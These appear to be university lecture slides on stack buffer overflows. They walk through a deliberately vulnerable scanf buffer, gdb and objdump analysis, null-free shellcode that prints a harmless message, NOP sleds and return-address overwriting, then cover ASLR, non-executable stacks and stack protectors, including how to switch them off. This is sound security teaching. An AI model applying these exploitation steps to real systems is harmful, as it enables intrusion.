## Credit where credit is due - Much of the material in this slide set is used, with permission, from similar slides by [Charles Reiss](https://www.cs.virginia.edu/~cr4bd/), specifically from [here](https://www.cs.virginia.edu/~cr4bd/4630/S2017/slides/20170222-slides-1up-animated.pdf). His slides were based on the document [Smashing the Stack for Fun and Profit](http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf).
# Contents [Introduction](#/intro) [How to do it](#/how2doit) [Defenses](#/defenses)
# Introduction
## Introduction... - Given a fixed size buffer, and an input routine that does not check bounds, you can easily overwrite the buffer - But what is overwritten, and what it is overwritten with, is what matters ## "Smashing the Stack for Fun and Profit" - A document published in 1996 by [Elias Levy](https://en.wikipedia.org/wiki/Elias_Levy) - This was the "first high-quality, public, step-by-step introduction to stack buffer overflow vulnerabilities and their exploitation" - [Online version](http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf) ## Vulnerable code Source code: [overflow.c](code/buffer-overflows/overflow.c) ([in HTML](code/buffer-overflows/overflow.c.html)) ``` void vulnerable() { char buffer[100]; /* read string from stdin */ scanf("%s", buffer); do_something_with(buffer); } ``` What if we input a 1000 character string? ## Crash Attempt - What if we input a 1000 character string? ``` $ cat 1000-as.txt aaaaaaaaaaaaaaaaaaaaaaaa (1000 a’s total) $ ./overflow.exe < 1000-as.txt Segmentation fault (core dumped) $ ``` - As a side note, the ASCII for 'a' is 97 decimal - Which is 0x61 hex ## A note about addresses - Each time this program runs in a different environment... - different OS, different hardware, etc. - .. it will produce a *different* set of addresses - Indeed, some of the addresses on the slides are different than the ones in the linked material - You need to make sure it is consistent when you run your code ## Debugger examination ```console $ gdb ./overflow.exe GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git Reading symbols from ./overflow.exe...done. (gdb) run < 1000-as.txt Starting program: ./overflow.exe < 1000-as.txt Program received signal SIGSEGV, Segmentation fault. 0x000000000040059c in vulnerable () at overflow.c:14 14 } (gdb) bt #0 0x000000000040059c in vulnerable () at overflow.c:14 #1 0x6161616161616161 in ?? () #2 0x6161616161616161 in ?? () ... #121 0x0000000000000000 in ?? () (gdb) ``` ## vulnerable() Source from `gcc -S`: [overflow.s](code/buffer-overflows/overflow.s) ([in HTML](code/buffer-overflows/overflow.s.html)) ``` vulnerable: sub rsp, 120 ; allocate space for buffer movabs rdi, offset .L.str.1 ; arg 1 to scanf() is "%s" lea rsi, [rsp + 16] ; arg 2 to scanf() is buffer mov al, 0 ; set eax = 0 call __isoc99_scanf ; call scanf() lea rdi, [rsp + 16] ; arg 1 to do_s_w(): buffer mov dword ptr [rsp + 12], eax ; we can ignore this call do_something_with ; call "do_s_w" add rsp, 120 ; deallocate stack space ret ; goodbye! ``` ## get vulnerable() ret addr From [`objdump -d overflow.exe`](code/buffer-overflows/overflow.exe.objdump.txt): ```plaintext 0000000000400570
: 400570: 48 83 ec 78 sub $0x78,%rsp 400574: 48 bf 44 06 40 00 00 movabs $0x400644,%rdi 40057b: 00 00 00 40057e: 48 8d 74 24 10 lea 0x10(%rsp),%rsi 400583: b0 00 mov $0x0,%al 400585: e8 b6 fe ff ff callq 400440 <__isoc99_scanf@plt> 40058a: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi 40058f: 89 44 24 0c mov %eax,0xc(%rsp) 400593: e8 a8 ff ff ff callq 400540
400598: 48 83 c4 78 add $0x78,%rsp 40059c: c3 retq 40059d: 0f 1f 00 nopl (%rax) 00000000004005a0
: 4005a0: 50 push %rax 4005a1: c7 44 24 04 00 00 00 movl $0x0,0x4(%rsp) 4005a8: 00 4005a9: e8 c2 ff ff ff callq 400570
4005ae: 31 c0 xor %eax,%eax 4005b0: 59 pop %rcx 4005b1: c3 retq 4005b2: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 4005b9: 00 00 00 4005bc: 0f 1f 40 00 nopl 0x0(%rax) ``` ## get vulnerable() ret addr - Address is 0x4005ae - In 64-bit assembly, that's 0x00000000004005ae - In Little Endian, that's 0xae05400000000000 - Or: ae 05 40 00 00 00 00 00 (You can see the [full objdump](code/buffer-overflows/overflow.exe.objdump.txt)) ## Stack for vulnerable() Before `scanf()` is called: ![stack diagram](images/buffer-overflows/overflow-stack-1.png) ## Stack for vulnerable() After `scanf()` is called: the buffer hath overflowed: ![stack diagram](images/buffer-overflows/overflow-stack-2.png) ## Stack for vulnerable() The return address (and beyond) has also been overwritten: ![stack diagram](images/buffer-overflows/overflow-stack-3.png) ## vulnerable() Source from `gcc -S`: [overflow.s](code/buffer-overflows/overflow.s) ([in HTML](code/buffer-overflows/overflow.s.html)) ``` vulnerable: sub rsp, 120 ; allocate space for buffer movabs rdi, offset .L.str.1 ; arg 1 to scanf() is "%s" lea rsi, [rsp + 16] ; arg 2 to scanf() is buffer mov al, 0 ; set eax = 0 call __isoc99_scanf ; call scanf() lea rdi, [rsp + 16] ; arg 1 to do_s_w(): buffer mov dword ptr [rsp + 12], eax ; we can ignore this call do_something_with ; call "do_s_w" add rsp, 120 ; deallocate stack space ret ; goodbye! ``` - The `ret` opcode tried to return to 0x6161616161616161, which is not in the memory allocated to the program - But what if it *were* a valid address to return to? ## Address of `buffer` ```console $ gdb ./overflow.exe GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git ... Reading symbols from ./overflow.exe...done. (gdb) break overflow.c:11 Breakpoint 1 at 0x400583: file overflow.c, line 11. (gdb) run Starting program: ./overflow.exe Breakpoint 1, vulnerable () at overflow.c:11 11 scanf("%s", buffer); (gdb) print &buffer $1 = (char (*)[100]) 0x7fffffffdce0 (gdb) ``` - Buffer is at 0x7fffffffdce0 == 0x00007fffffffdce0 - Little Endian: e0 dc ff ff ff 7f 00 00 ## Stack for vulnerable() After a successful buffer overflow exploit: ![stack diagram](images/buffer-overflows/return-to-stack.png)
# How To Do It
## Constructing the attack - [Shellcode](https://en.wikipedia.org/wiki/Shellcode) is a "small piece of code used as the payload in the exploitation of a software vulnerability" - This is the machine code that we will have to write - We also have to overwrite the return address - And figure out where the buffer is... ## Shellcode challenges - Ideal is like virus code: works in any executable - No linking (no library functions by name) - Probably will exit application afterward, as it can't return normally - (or will have to do a bunch more work to restore original return value) ## Recall: virus code - Consider the following shell code that loads a string into %edi, then calls `puts()` via a [tricky jump](viruses.html#/trickyjump): ```x86asm leal string(%rip), %edi pushq $0x4004e0 ; address of puts() in ; target executable retq string: .asciz "You have been infected with a virus!" ``` Note that this is in AT&T assembly syntax ## Recall: virus code - The same code, but converted to Intel syntax: ```x86asm section .data string db "You have been infected with a virus!", 0x0a section .text lea edi, [string] push 0x4004e0 ; address of puts() in ; target executable ret ``` We'll eventually convert this to shellcode (of a sort) ## Convert to machine code - An easy way to do this: - Write the (AT&T or Intel syntax) assembly to a test.s file - Compile with: - `nasm -f elf -o test.o test.s` (for Intel syntax) - `as -o test.o test.s` (for AT&T syntax) - Run `objdump -d a.out` - Result: ```plaintext 0: 8d 3d 00 00 00 00 lea 0x0, %edi 7: 68 e0 04 40 00 push $0x4004e0 c: c3 ret ```
## 64-bit machine code - Alternatively, edit test.s (change edi to rdi), and compile with the `-f elf64` flag, then run through `objdump -d`. The result: ```plaintext 0: 48 8d 3c 25 00 00 00 lea 0x0,%rdi 7: 00 8: 68 e0 04 40 00 pushq $0x4004e0 d: c3 retq ``` - This produced different (but basically equivalent) machine code from the last slide - Note that byte 7 (0x00) wrapped from the previous line ## 64-bit machine code ```plaintext 0: 48 8d 3c 25 00 00 00 lea 0x0,%rdi 7: 00 8: 68 e0 04 40 00 pushq $0x4004e0 d: c3 retq ``` ``` section .data string db "You have been infected with a virus!", 0x0a section .text lea edi, [string] push 0x4004e0 ; address of puts() in ; target executable ret ``` - But what if we don't know where `puts()` is? ## OS system calls from assembly - The solution: the `syscall` opcode - It requests the OS to handle the system call - The system call number goes into rax - Parameters, if any, go into (in order): rdi, rsi, rdx, r10, r8, and r9 - See a list of possible system calls for Linux [here](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) ## Relevant `syscall` calls - From [the same link as on the last slide](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) - sys_write: rax = 1 - rdi is the file descriptor (1 for stdout) - rsi is the pointer to the buffer to print - rdx is the size of the buffer - sys_exit: rax = 60 - rdi is the exit code - stub_execve: rax = 59 - ([on Linux systems](https://filippo.io/linux-syscall-table/); value 59 varies on other systems) - Execute a passed command! ## Print without puts() ```x86asm global mysyscall section .data string db "You have been infected with a virus!", 0x0a section .text mysyscall: mov eax, 1 ; syscall function (sys_write) mov edi, 1 ; print to stdout lea esi, [string] ; buffer to print mov edx, 37 ; size of buffer syscall ret ``` This can be compiled (with `nasm -f elf64`), linked with an appropriate `main()` function, and used to print out the above string. ## Print without puts() The assembly yields the following machine code ```x86asm mov eax, 1 ; syscall function (sys_write) mov edi, 1 ; print to stdout lea esi, [string] ; buffer to print mov edx, 37 ; size of buffer syscall ret ``` ```plaintext 0: b8 01 00 00 00 mov $0x1,%eax 5: bf 01 00 00 00 mov $0x1,%edi a: 8d 34 25 00 00 00 00 lea 0x0,%esi 11: ba 25 00 00 00 mov $0x25,%edx 16: 0f 05 syscall 18: c3 retq ``` Note that nothing is 64-bit (even when compiled with `-f elf64`) ## Note about registers - `syscall` reads the *entire* 64-bit rax register - So you should really do a `mov rax, 1`, not a `mov eax, 1` - As you want to set the upper 32 bits of the register to zero as well - To make the slides easier to read, we'll be using the 32-bit registers ## Problem: crashes after `syscall` - We need to gracefully exit - So we use `syscall` to do so: ```x86asm global mysyscall section .data string db "You have been infected with a virus!", 0x0a section .text mysyscall: mov eax, 1 ; syscall function (sys_write) mov edi, 1 ; print to stdout lea esi, [string] ; buffer to print mov edx, 37 ; size of buffer syscall mov eax, 60 ; syscall function (sys_exit) xor edi, edi ; exit value (0) syscall ``` ## Calling sys_write & sys_exit The machine code: ```plaintext 0: b8 01 00 00 00 mov $0x1,%eax 5: bf 01 00 00 00 mov $0x1,%edi a: 8d 34 25 00 00 00 00 lea 0x0,%esi 11: ba 25 00 00 00 mov $0x25,%edx 16: 0f 05 syscall 18: b8 3c 00 00 00 mov $0x3c,%eax 1d: 31 ff xor %edi,%edi 1f: 0f 05 syscall ``` How do we use this as input to the program? ## `scanf()` and %s - The %s specifier used in scanf() "matches a sequence of non-white-space characters" - Thus, we can’t use: - (space) - \t (tab) - \v (vertical tab) - \r (carriage return) - \n (newline) - Those aren't really that much of a restriction - But what about \0 (hex 0x00)? - We use a lot of these... ## Shellcode without 0x00 - To remove these values we: - Use smaller reigster 'parts' to eliminate extra 0x00's - We may have to zero out the register first - Use relative offsets (especially negative) instead of absolute addresses (which are likely to have 0x00 in it) - See [here](https://www.tortall.net/projects/yasm/manual/html/nasm-effaddr.html) for how to do this in nasm - Remove the trailing '\n' from the string ## Shellcode without 0x00 ```x86asm section .text mysyscall: jmp afterString string: db "You have been infected with a virus!" afterString: xor eax, eax mov al, 1 mov edi, eax lea esi, [rel string] xor edx, edx mov dl, 36 syscall mov al, 60 xor edi, edi syscall ``` ## Shellcode without 0x00 The assembly on the previous slide results in: ```plaintext 26: 31 c0 xor %eax,%eax 28: b0 01 mov $0x1,%al 2a: 89 c7 mov %eax,%edi 2c: 8d 35 d0 ff ff ff lea -0x30(%rip),%esi 32: 31 d2 xor %edx,%edx 34: b2 24 mov $0x24,%dl 36: 0f 05 syscall 38: b0 3c mov $0x3c,%al 3a: 31 ff xor %edi,%edi 3c: 0f 05 syscall ``` Note that the `lea` loads an negative offset, which has no 0x00 bytes ## We removed the .data section - On the last two slides, we removed the .data section, and had the string in the .text section - When injecting code via a buffer overflow, we can only inject one section, so it has to have both the data and code (text) ## Determining the return address - Now that we have the shellcode, we need to determine the return address of the buffer - How to do so? ## Determining the return address - Run program through the debugger - We did this a dozen slides ago - This may not be possible, though, as you may not have the program available - Examine target executable disassembly - Figure out how much is allocated on the stack below it, and you may know the stack start location to set return address - Guess: location of return address and address of machine code
## Guessing? Use a "NOP sled" - You may not be able to determine for sure - We can make our shellcode easier for 'guessing' - Normal shell code: ```x86asm xor eax, eax mov al, 1 ... (rest of shellcode) ``` - More 'guessable' shellcode starts with many nops: ```x86asm nop nop ... (fill the buffer with nops) nop xor eax, eax mov al, 1 ... (rest of shellcode) ```
## The result We put all that together, and we get: ![stack diagram](images/buffer-overflows/return-to-stack.png)
## There are still 0x00 bytes! - Specifically in the return address: 0x00007fffffffdc90 - In little Endian: 0x90dcffffff7f0000 - It turns out that we only have to write only the value 0x7fffffffdc90 - In little Endian: 0x90dcffffff7f - The computer writes the value in in word (4-byte) chunks - Since it's in little Endian, it will fill the remainder with 0's
## More advanced shellcode - Using `stub_execve` (set rax to 59), you can execute any command - At http://shell-storm.org/shellcode/files/shellcode-806.php you can see shellcode to run `/bin/sh` in 27 bytes
# Defenses
## But none of this works for me! - Yes, because all modern operating systems have defenses against this - They had to be turned off for any of this to work ## [Address space layout randomization](https://en.wikipedia.org/wiki/Address_space_layout_randomization) (ASLR) - The address of the stack starts at a different random location every time a program is run - So in 32-bit, it doesn't always start at 0xffffffff and grow down; it might start at 0xffff1348 - Windows has had some [issues](https://it.slashdot.org/story/17/11/17/207239/windows-8-and-later-fail-to-properly-apply-aslr) with this... - This applies to the executable, heap, stack, etc. - Thus, the address of a buffer will be different every time! - Disable with the `-R` flag to `setarch` - More on this in a bit ## Different memory model - We need to change the way virtual memory is allocated - Thus, the computer has to switch over to 'legacy' virtual memory mode - Do this with the `-L` flag to `setarch` - More on this on the next slide ## setarch - To disable the two previous OS protections, you run: ```console setarch x86_64 -v -LR bash ``` - You can run any program, but `bash` is the shell, and you don't have to run the `setarch` command each time you want to run a program - Recall that `-R` disables ASLR, and `-L` allows execution on the stack ## No execution on the stack - Modern hardware (and OSes) will not allow execution of code on the stack - You have to run [mprotect()](http://man7.org/linux/man-pages/man2/mprotect.2.html) to change this - You can also set the .text section to writable that way as well - Examples of these mprotect calls are shown in the [buffer overflow homework](../hws/hw-buffer.html) ## Compiler protection - Compilers include code to check if the stack has been smashed - More on this in the [next slide set](binary-exploits.html#/) - To disable this, use the `-fno-stack-protector` flag when compiling